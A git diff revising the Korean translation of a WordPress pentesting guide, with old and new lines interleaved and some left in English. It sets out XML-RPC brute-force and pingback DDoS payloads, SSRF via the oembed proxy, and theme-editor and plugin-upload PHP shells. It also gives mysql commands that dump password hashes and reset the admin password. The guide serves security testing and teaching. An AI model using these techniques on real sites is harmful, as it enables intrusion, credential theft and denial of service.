Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-08-24 12:20:21 +00:00
parent 083c2c4d92
commit 2311782d60

View File

@ -4,20 +4,20 @@
## 기본 정보
- **업로드된** 파일은 다음 위치에 있습니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 가능성이 높습니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** 파일은 다음 위치로 업로드됩니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** 따라서 테마의 일부 php를 변경하여 RCE를 얻으려는 경우 해당 경로를 사용하게 됩니다. 예를 들어: **theme twentytwelve**를 사용하면 [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)에서 **404.php** 파일에 접근할 수 있습니다.
- **또 다른 유용한 URL은:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **wp-config.php**에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다.
- 확인할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- `wp-config.php` 파일에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다.
- 확인해야 할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **주요 WordPress 파일**
### **Main WordPress Files**
- `index.php`
- `license.txt`는 설치된 WordPress의 버전과 같은 유용한 정보를 포함합니다.
- `wp-activate.php`는 새 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.
- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
- `license.txt`에는 설치된 WordPress 버전 등 유용한 정보가 들어있습니다.
- `wp-activate.php`는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 과정에 사용됩니다.
- 로그인 폴더들(숨기기 위해 이름이 변경되었을 수 있음):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
@ -25,26 +25,26 @@
- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 해주는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다.
- `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.
- `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉토리입니다.
- `wp-sitemap.xml`은 WordPress 버전 5.5 이상에서 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다.
- `wp-includes/`는 인증서, 글꼴, JavaScript 파일, 위젯 등 핵심 파일들이 저장되는 디렉토리입니다.
- `wp-sitemap.xml` WordPress 버전 5.5 이상에서는 공개 게시물과 공개적으로 쿼리 가능한 포스트 타입 및 분류법을 모두 포함하는 sitemap XML 파일을 생성합니다.
**포스트 익스플로잇**
**Post exploitation**
- `wp-config.php` 파일 데이터베이스 이름, 데이터베이스 호스트, 사용자 이름 및 비밀번호, 인증 키 및 솔트, 데이터베이스 테이블 접두사와 같은 데이터베이스에 연결하는 데 필요한 정보를 포함합니다. 이 구성 파일은 DEBUG 모드를 활성화하는 데에도 사용될 수 있으며, 이는 문제 해결에 유용할 수 있습니다.
- `wp-config.php` 파일에는 WordPress가 데이터베이스에 연결하는 데 필요한 데이터베이스 이름, 데이터베이스 호스트, 사용자 이름 및 비밀번호, 인증 키 및 솔트, 데이터베이스 테이블 접두사 등의 정보가 들어 있습니다. 이 구성 파일은 또한 문제 해결에 유용할 수 있는 DEBUG 모드를 활성화하는 데에도 사용될 수 있습니다.
### 사용자 권한
- **관리자**
- **편집자**: 자신의 게시물 및 다른 게시물을 게시하고 관리합니다.
- **저자**: 자신의 게시물을 게시하고 관리합니다.
- **기여자**: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다.
- **구독자**: 게시물을 탐색하고 자신의 프로필을 편집합니다.
- **Administrator**
- **Editor**: 자신의 글과 다른 사람의 글을 발행하고 관리합니다.
- **Author**: 자신의 글을 발행하고 관리합니다.
- **Contributor**: 글을 작성하고 관리할 수 있으나 발행할 수 없습니다.
- **Subscriber**: 게시물을 탐색하고 자신의 프로필을 편집합니다.
## **수동 열거**
## **Passive Enumeration**
### **WordPress 버전 가져오기**
### **WordPress 버전 확인**
`/license.txt` 또는 `/readme.html` 파일을 찾을 수 있는지 확인합니다.
파일 `/license.txt` 또는 `/readme.html`을 찾을 수 있는지 확인하세요.
페이지의 **소스 코드** 내에서 (예: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### 일반적으로 버전 추출하기
### 일반적인 버전 추출
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Active enumeration
## 능동적 열거
### Plugins and Themes
### 플러그인 및 테마
모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인과 테마 목록을 능동적으로 브루트 포스해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다).
아마 모든 플러그인과 테마를 찾을 수는 없을 것입니다. 모두를 발견하려면 **actively Brute Force a list of Plugins and Themes** 해야 합니다(다행히 이러한 목록을 포함한 자동화 도구들이 있습니다).
### Users
### 사용자
- **ID Brute:** 브루트 포싱을 통해 WordPress 사이트에서 유효한 사용자 ID를 얻습니다:
- **ID Brute:** WordPress 사이트에서 사용자 ID를 Brute Forcing하여 유효한 사용자를 얻습니다:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
응답이 **200** 또는 **30X**인 경우, id가 **유효**하다는 의미입니다. 응답이 **400**인 경우, id가 **유효하지** 않다는 의미입니다.
응답이 **200** 또는 **30X**이면 해당 id는 **유효**합니다. 응답이 **400**이면 해당 id는 **무효**입니다.
- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 시도할 수 있습니다:
- **wp-json:** 사용자 정보를 쿼리하여 얻어볼 수도 있습니다:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
또 다른 `/wp-json/` 엔드포인트는 사용자에 대한 정보를 드러낼 수 있습니다:
사용자에 대한 일부 정보를 노출할 수 있는 또 다른 `/wp-json/` endpoint는 다음과 같습니다:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
이 엔드포인트는 게시물을 작성한 사용자만 노출합니다. **이 기능이 활성화된 사용자에 대한 정보만 제공됩니다**.
Note that this endpoint only exposes users that have made a post. **이 기능을 활성화한 사용자에 대한 정보만 제공됩니다**.
또한 **/wp-json/wp/v2/pages**는 IP 주소를 유출할 수 있습니다.
또한 **/wp-json/wp/v2/pages**가 IP 주소를 leak할 수 있다는 점에 유의하세요.
- **로그인 사용자 이름 열거**: **`/wp-login.php`**에 로그인할 때 **메시지**는 **사용자 이름이 존재하는지 여부에 따라 다릅니다**.
- **Login username enumeration**: 로그인 시 **`/wp-login.php`**의 **메시지**가 **다르게 표시되어** **사용자 이름의 존재 여부**를 알려줍니다.
### XML-RPC
`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여 이 프로세스를 자동화할 수 있습니다](https://github.com/relarizky/wpxploit)).
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (예: 이 과정을 자동화하려면[ using this](https://github.com/relarizky/wpxploit)을 사용할 수 있습니다).
활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 접근하고 이 요청을 보내십시오:
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**확인**
```html
@ -120,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**자격 증명 무차별 대입**
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`** 은(는) brute-force credentials에 사용할 수 있는 메서드들입니다. 이들 중 하나를 찾을 수 있다면 다음과 같이 보낼 수 있습니다:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
메시지 _"잘못된 사용자 이름 또는 비밀번호"_는 자격 증명이 유효하지 않을 경우 200 코드 응답 내에 나타나야 합니다.
200 코드 응답 안에 _"Incorrect username or password"_ 메시지가 나타나야 하며, 자격 증명이 유효하지 않을 경우 표시됩니다.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 나타납니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 표시됩니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
또한 **`system.multicall`**을 사용하여 자격 증명을 무차별 대입하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다:
또한 **더 빠른 방법**이 있는데, 동일한 요청에서 여러 자격 증명을 시도할 수 있으므로 **`system.multicall`**을 사용해 자격 증명을 브루트포스할 수 있습니다:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**2FA 우회**
**Bypass 2FA**
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방식으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 진입점이 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
이 방법은 사람용이 아니라 프로그램용이며 오래된 방식이라 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 메인 로그인에 2FA가 설정되어 있다면, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회해 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 할 수 있는 모든 동작을 수행할 수는 없지만, Ippsec가 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명하는 것처럼 여전히 RCE에 도달할 수 있을 수도 있습니다.
**DDoS 또는 포트 스캐닝**
**DDoS or port scanning**
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\
이를 사용하여 **수천 개**의 Wordpress **사이트**에 **하나의 위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트도 지정할 수 있습니다).
목록에서 _**pingback.ping**_ 메서드를 찾을 수 있다면 Wordpress가 임의의 호스트/포트로 요청을 보내도록 만들 수 있습니다.\
이를 이용해 **수천**개의 Wordpress **사이트들**에 한 **대상**에 접속하도록 요청할 수 있으므로 그 대상에 **DDoS**가 발생하게 만들 수 있으며, 또는 이를 사용해 **Wordpress**로 내부 **네트워크**를 **스캔**하게 할 수도 있습니다(임의의 포트를 지정할 수 있습니다).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
**faultCode**의 값이 **0** (17)보다 **크면**, 포트가 열려 있다는 의미입니다.
**faultCode**의 값이 **0** (17)보다 **큰** 경우, 포트가 열려 있다는 의미입니다.
이 방법을 악용하여 DDoS를 유발하는 방법을 배우려면 이전 섹션에서 **`system.multicall`**의 사용을 살펴보세요.
이전 섹션에서 **`system.multicall`**의 사용을 살펴보면 이 메서드를 악용하여 DDoS를 유발하는 방법을 배울 수 있습니다.
**DDoS**
```html
@ -210,16 +210,16 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### wp-cron.php DoS
이 파일은 일반적으로 Wordpress 사이트의 루트에 존재합니다: **`/wp-cron.php`**\
이 파일이 **접근**될 때 "**무거운**" MySQL **쿼리**가 수행되므로, **공격자**가 **DoS**를 **유발**하는 데 사용할 수 있습니다.\
또한 기본적으로 `wp-cron.php`는 모든 페이지 로드 시(클라이언트가 Wordpress 페이지를 요청할 때마다) 호출되며, 트래픽이 많은 사이트에서는 문제가 발생할 수 있습니다(DoS).
이 파일이 **접근될 때** **무거운** MySQL **쿼리**가 실행되므로, **공격자**가 **DoS**를 **유발**하는 데 사용할 수 있습니다.\
또한, 기본적으로, `wp-cron.php`는 모든 페이지 로드 시(클라이언트가 어떤 Wordpress 페이지를 요청할 때마다) 호출되며, 트래픽이 많은 사이트에서는 문제가 될 수 있습니다 (DoS).
Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적으로 수행하는 실제 cronjob을 생성하는 것이 권장됩니다(문제를 일으키지 않도록).
Wp-Cron을 비활성화하고 호스트 내에서 실제 cronjob을 생성해 정기적으로 필요한 작업을 수행하도록 하는 것이 권장됩니다 (문제 없이).
### /wp-json/oembed/1.0/proxy - SSRF
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 접근해 보세요. 그러면 Worpress 사이트가 귀하에게 요청을 보낼 수 있습니다.
다음 URL에 접근해 보세요: _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ 그리고 Worpress 사이트가 당신에게 요청을 보낼 수 있습니다.
작동하지 않을 때의 응답은 다음과 같습니다:
This is the response when it doesn't work:
![](<../../images/image (365).png>)
@ -230,100 +230,100 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
이 도구는 **methodName: pingback.ping**과 **/wp-json/oembed/1.0/proxy** 경로가 존재하는지 확인하고, 존재할 경우 이를 악용하려고 시도합니다.
이 도구는 **methodName: pingback.ping**과 경로 **/wp-json/oembed/1.0/proxy**가 있는지 확인하고, 존재하면 이를 악용하려 시도합니다.
## Automatic Tools
## 자동 도구
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## 비트 덮어써서 접근하기
## 비트 하나 덮어써서 접근하기
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서는 모든 워드프레스 파일에서 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다.
실제 공격이라기보다는 호기심에 가깝다. 해당 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서는 어떤 wordpress 파일에서든 1비트를 뒤집을 수 있었다. 따라서 파일 `/var/www/html/wp-includes/user.php`의 위치 `5389`의 비트를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었다.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **패널 RCE**
## **Panel RCE**
**사용 중인 테마의 php 수정 (관리자 자격 증명 필요)**
**사용 중인 테마의 php 수정 (admin credentials needed)**
외관 → 테마 편집기 → 404 템플릿 (오른쪽)
Appearance → Theme Editor → 404 Template (오른쪽)
php 쉘을 위한 내용을 변경합니다:
php shell용으로 내용을 변경:
![](<../../images/image (384).png>)
업데이트된 페이지에 접근하는 방법을 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
업데이트된 페이지에 어떻게 접근하는지 인터넷에서 검색하세요. 이 경우 다음 위치에 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
다음과 같이 사용할 수 있습니다:
다음 사용할 수 있습니다:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
to get a session.
세션을 얻기 위해.
## Plugin RCE
### PHP plugin
플러그인으로 .php 파일을 업로드할 수 있을 수 있습니다.\
예를 들어, php 백도어를 생성합니다:
It may be possible to upload .php files as a plugin.\
Create your php backdoor using for example:
![](<../../images/image (183).png>)
그런 다음 새 플러그인을 추가합니다:
Then add a new plugin:
![](<../../images/image (722).png>)
플러그인을 업로드하고 지금 설치를 누릅니다:
Upload plugin and press Install Now:
![](<../../images/image (249).png>)
계속 진행을 클릭합니다:
Click on Procced:
![](<../../images/image (70).png>)
아마도 이것은 겉으로는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 셸을 볼 수 있습니다:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
![](<../../images/image (462).png>)
접속하면 리버스 셸을 실행할 URL을 볼 수 있습니다:
Access it and you will see the URL to execute the reverse shell:
![](<../../images/image (1006).png>)
### 악성 플러그인 업로드 및 활성화
### Uploading and activating malicious plugin
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것을 포함합니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
이 방법은 취약한 것으로 알려진 악성 plugin을 설치하여 web shell을 획득하는 방법입니다. 이 과정은 WordPress dashboard를 통해 다음과 같이 수행됩니다:
1. **플러그인 획득**: 플러그인은 [**여기**](https://www.exploit-db.com/exploits/36374)와 같은 출처에서 얻습니다.
2. **플러그인 설치**:
- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`로 갑니다.
- 다운로드한 플러그인의 zip 파일을 업로드합니다.
3. **플러그인 활성화**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
4. **악용**:
- "reflex-gallery" 플러그인이 설치되고 활성화되면, 취약한 것으로 알려져 있어 악용할 수 있습니다.
- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행함으로써 meterpreter 세션을 설정하여 사이트에 대한 무단 접근을 허용합니다.
- 이는 WordPress 사이트를 악용하는 많은 방법 중 하나일 뿐입니다.
1. **Plugin Acquisition**: 플러그인은 Exploit DB와 같은 출처에서 [**here**](https://www.exploit-db.com/exploits/36374)처럼 얻습니다.
2. **Plugin Installation**:
- WordPress dashboard에서 `Dashboard > Plugins > Upload Plugin`으로 이동합니다.
- 다운로드한 plugin의 zip file을 업로드합니다.
3. **Plugin Activation**: plugin이 성공적으로 설치되면 dashboard에서 활성화해야 합니다.
4. **Exploitation**:
- "reflex-gallery" plugin이 설치되고 활성화되면, 해당 plugin은 취약한 것으로 알려져 있어 이를 이용해 공격할 수 있습니다.
- Metasploit framework는 이 취약점에 대한 exploit를 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter session을 획득하여 사이트에 무단 접근할 수 있습니다.
- 이는 WordPress 사이트를 악용할 수 있는 여러 방법 중 하나에 불과합니다.
내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 보조 자료가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법적이고 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 법적 맥락에서만 사용해야 합니다.
해당 내용에는 plugin을 설치하고 활성화하는 WordPress dashboard 단계들을 보여주는 시각적 자료가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 승인 없이 불법적이며 비윤리적임을 유의해야 합니다. 이 정보는 책임감 있게, 명시적 허가가 있는 법적 맥락(예: penetration testing)에서만 사용되어야 합니다.
**자세한 단계는 다음을 확인하세요:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 WordPress의 다른 중요한 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Wordpress 버전 6.X.X, 5.X.X 및 4.X.X를 지원하며 다음을 허용합니다:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다.
- _**(RCE) 사용자 정의 플러그인 (백도어) 업로드:**_ 사용자 정의 플러그인 (백도어)을 WordPress에 업로드합니다.
- _**(RCE) 내장 플러그인 편집:**_ WordPress의 내장 플러그인을 편집합니다.
- _**(RCE) 내장 테마 편집:**_ WordPress의 내장 테마를 편집합니다.
- _**(Custom) 사용자 정의 익스플로잇:**_ 서드파티 WordPress 플러그인/테마에 대한 사용자 정의 익스플로잇.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 커스텀 plugin(backdoor)을 WordPress에 업로드합니다.
- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다.
- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다.
- _**(Custom) Custom Exploits:**_ 서드파티 WordPress Plugins/Themes용 커스텀 Exploits를 제공합니다.
## Post Exploitation
사용자 이름과 비밀번호 추출:
Extract usernames and passwords:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
@ -331,29 +331,29 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
## Wordpress 플러그인 Pentest
### Attack Surface
워드프레스 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시서 확인할 수 있습니다.
Wordpress 플러그인이 기능을 어떻게 노출하는지 아는 것은 해당 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 노출하는 방법은 다음 글머리표에서 확인할 수 있으며, 취약한 플러그인의 예시는 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)에 있습니다.
- **`wp_ajax`**
플러그인이 기능을 사용자에게 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. 이 nonce는 **워드프레스 인스턴스에 인증된 모든 사용자가 가질 수 있습니다** (역할에 관계없이).
플러그인이 함수를 사용자에게 노출하는 방법 중 하나는 AJAX 핸들러를 통한 것입니다. 이들 핸들러에는 로직, authorization, 또는 authentication 버그가 포함될 수 있습니다. 게다가 이러한 함수들이 authentication과 authorization을 wordpress nonce의 존재 여부에 기반하는 경우가 꽤 자주 있으며, 이 nonce는 **any user authenticated in the Wordpress instance might have** (역할과 무관하게).
이들은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다:
These are the functions that can be used to expose a function in a plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있도록 만듭니다.**
**`nopriv`를 사용하면 엔드포인트가 모든 사용자(심지어 인증되지 않은 사용자)도 접근할 수 있게 됩니다.**
> [!CAUTION]
> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
> 또한, 만약 해당 함수가 사용자 권한을 `wp_verify_nonce` 함수로만 확인한다면, 이 함수는 단지 사용자가 로그인되어 있는지 여부만 확인할 뿐 보통 사용자 역할(role)을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
- **REST API**
`register_rest_route` 함수를 사용하여 워드프레스에서 REST API를 등록하여 함수를 노출하는 것도 가능합니다:
또한 `register_rest_route` 함수를 사용해 wordpress에서 REST API를 등록하여 함수를 노출시키는 것도 가능합니다:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,23 +363,68 @@ $this->namespace, '/get/', array(
)
);
```
`permission_callback`는 주어진 사용자가 API 메서드를 호출할 수 있는 권한이 있는지 확인하는 함수에 대한 콜백입니다.
The `permission_callback`은() 주어진 사용자가 API 메서드를 호출할 권한이 있는지 확인하는 콜백 함수입니다.
**내장된 `__return_true` 함수가 사용되면, 사용자 권한 확인을 단순히 건너뜁니다.**
**내장된 `__return_true` 함수가 사용되면 사용자 권한 검사를 단순히 건너뜁니다.**
- **php 파일에 직접 접근**
- **php 파일에 대한 직접 접근**
물론, Wordpress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로도 트리거되는 취약한 기능을 노출하는 경우, 모든 사용자가 이를 악용할 수 있습니다.
물론 Wordpress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 실행되는 취약한 기능을 노출하고 있다면, 모든 사용자가 이를 악용할 수 있습니다.
### wp_ajax_nopriv를 통한 인증되지 않은 임의 파일 삭제 (Litho 테마 <= 3.0)
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
